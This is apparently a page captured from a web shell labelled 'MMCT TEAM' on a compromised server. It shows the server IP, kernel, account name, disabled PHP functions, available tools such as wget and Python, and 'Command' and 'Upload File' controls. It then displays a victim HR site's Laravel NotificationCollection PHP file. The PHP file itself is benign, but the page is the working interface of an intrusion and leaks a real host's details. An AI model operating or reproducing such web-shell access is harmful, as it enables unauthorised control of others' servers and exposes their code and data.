MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/hrms.ncriptech.com/app/Http/Resources/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/hrms.ncriptech.com/app/Http/Resources/NotificationCollection.php
<?php

namespace App\Http\Resources;

use App\Models\Notification;
use Illuminate\Http\Resources\Json\ResourceCollection;

class NotificationCollection extends ResourceCollection
{
    /**
     * Transform the resource collection into an array.
     *
     * @param \Illuminate\Http\Request $request
     * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable
     */
    public function toArray($request)
    {
        return [
            'notifications' => $this->collection->map(function ($notification) {
                $sender_info=Notification::sender($notification->data['sender_id']);
                return [
                    'id' => $notification->id,
                    'sender' => @$sender_info->name,
                    'sender_id' => @$sender_info->id,

                    'title' => $notification->data['title'],
                    'body' => $notification->data['body'],
                    'image' => $notification->data['image'] ?? uploaded_asset(@base_settings('company_icon')),
                    'date'=>$notification->created_at->diffForHumans(),
                    'slag'=>$notification->data['actionURL']['app'],
                    'read_at' => $notification->read_at,
                    'is_read'=>$notification->read_at ? true : false,
                ];
            })
        ];
    }
}

MMCT - 2023